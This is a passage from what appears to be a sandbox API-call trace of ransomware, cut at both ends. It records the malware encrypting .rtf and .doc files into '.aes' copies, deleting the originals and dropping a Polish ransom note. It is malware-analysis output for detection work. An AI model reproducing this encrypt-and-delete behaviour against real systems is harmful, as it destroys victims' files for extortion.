sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0075.134] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.135] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.135] WriteFile (in: hFile=0x34c, lpBuffer=0x27f8134*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27f8134*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.135] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.135] WriteFile (in: hFile=0x34c, lpBuffer=0x27f8134*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27f8134*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.135] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.135] WriteFile (in: hFile=0x34c, lpBuffer=0x27f8134*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27f8134*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.136] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.136] WriteFile (in: hFile=0x34c, lpBuffer=0x27f8134*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27f8134*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.136] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.136] WriteFile (in: hFile=0x34c, lpBuffer=0x27f8134*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27f8134*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.136] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.136] WriteFile (in: hFile=0x34c, lpBuffer=0x27f8134*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27f8134*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.136] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.137] WriteFile (in: hFile=0x34c, lpBuffer=0x27f8134*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27f8134*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.137] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.137] WriteFile (in: hFile=0x34c, lpBuffer=0x27f8134*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27f8134*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.137] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.137] WriteFile (in: hFile=0x34c, lpBuffer=0x27f8134*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27f8134*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.137] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x79e, lpOverlapped=0x0) returned 1 [0075.137] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b69e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b69e4*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0075.137] WriteFile (in: hFile=0x34c, lpBuffer=0x27f8134*, nNumberOfBytesToWrite=0x8b1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x27f8134*, lpNumberOfBytesWritten=0x77ce974*=0x8b1, lpOverlapped=0x0) returned 1 [0075.138] WriteFile (in: hFile=0x34c, lpBuffer=0x27f8134*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x27f8134*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0075.138] CloseHandle (hObject=0x34c) returned 1 [0075.138] CloseHandle (hObject=0x2a8) returned 1 [0075.139] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf", lpFilePart=0x0) returned 0x44 [0075.139] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\n1mkd81vkeia7s2.rtf")) returned 1 [0075.142] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4b [0075.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0075.142] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0075.142] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x2a8) returned 0x0 [0075.142] RegQueryValueExW (in: hKey=0x2a8, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0075.142] RegQueryValueExW (in: hKey=0x2a8, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x281ab10, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0075.142] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4b [0075.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0075.142] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x34c [0075.143] GetFileType (hFile=0x34c) returned 0x1 [0075.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0075.143] GetFileType (hFile=0x34c) returned 0x1 [0075.143] WriteFile (in: hFile=0x34c, lpBuffer=0x2823b20*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x2823b20*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0075.143] CloseHandle (hObject=0x34c) returned 1 [0075.144] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0075.171] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc", lpFilePart=0x0) returned 0x44 [0075.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0075.171] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\orrmspmnhogtvab.doc"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2364a290, ftCreationTime.dwHighDateTime=0x1d3051b, ftLastAccessTime.dwLowDateTime=0x6fb5e6c0, ftLastAccessTime.dwHighDateTime=0x1d2fdac, ftLastWriteTime.dwLowDateTime=0x6fb5e6c0, ftLastWriteTime.dwHighDateTime=0x1d2fdac, nFileSizeHigh=0x0, nFileSizeLow=0xf4a9)) returned 1 [0075.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0075.171] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc", lpFilePart=0x0) returned 0x44 [0075.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0075.171] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\orrmspmnhogtvab.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0075.171] GetFileType (hFile=0x82c) returned 0x1 [0075.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0075.171] GetFileType (hFile=0x82c) returned 0x1 [0075.171] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc.aes", lpFilePart=0x0) returned 0x48 [0075.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0075.171] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\orrmspmnhogtvab.doc.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x830 [0075.171] GetFileType (hFile=0x830) returned 0x1 [0075.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0075.172] GetFileType (hFile=0x830) returned 0x1 [0075.172] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0075.221] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x70cf840 [0075.221] GetNetworkParams (in: pFixedInfo=0x70cf840, pOutBufLen=0x77ce624 | out: pFixedInfo=0x70cf840, pOutBufLen=0x77ce624) returned 0x0 [0075.229] LocalFree (hMem=0x70cf840) returned 0x0 [0075.229] GetAdaptersAddresses () returned 0x6f [0075.234] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074038 [0075.234] GetAdaptersAddresses () returned 0x0 [0075.239] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0075.251] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c7e88 [0075.251] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c7e88, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c7e88, pOutBufLen=0x77ce38c) returned 0x0 [0075.263] LocalFree (hMem=0x1c7e88) returned 0x0 [0075.263] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0075.275] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c7e88 [0075.275] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c7e88, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c7e88, pOutBufLen=0x77ce38c) returned 0x0 [0075.287] LocalFree (hMem=0x1c7e88) returned 0x0 [0075.287] LocalFree (hMem=0x7074038) returned 0x0 [0075.287] GetBestInterfaceEx (in: pDestAddr=0x2885708*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0075.456] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.457] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.457] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.457] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.457] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.458] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.458] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.458] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.458] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.458] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.458] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.459] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.459] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.459] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.459] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.459] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.459] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.460] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.460] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.460] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.460] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.460] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.460] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.460] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.461] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.461] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.461] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.461] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.461] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.461] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x4a9, lpOverlapped=0x0) returned 1 [0075.461] ReadFile (in: hFile=0x82c, lpBuffer=0x26b6264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b6264*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0075.461] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x5c1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce974*=0x5c1, lpOverlapped=0x0) returned 1 [0075.461] WriteFile (in: hFile=0x830, lpBuffer=0x2859d24*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2859d24*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0075.462] CloseHandle (hObject=0x830) returned 1 [0075.462] CloseHandle (hObject=0x82c) returned 1 [0075.463] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc", lpFilePart=0x0) returned 0x44 [0075.463] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\ORRmspMNhOgtvaB.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\orrmspmnhogtvab.doc")) returned 1 [0075.463] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4b [0075.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0075.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe70cc000, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe70cc000, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe70cc000, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 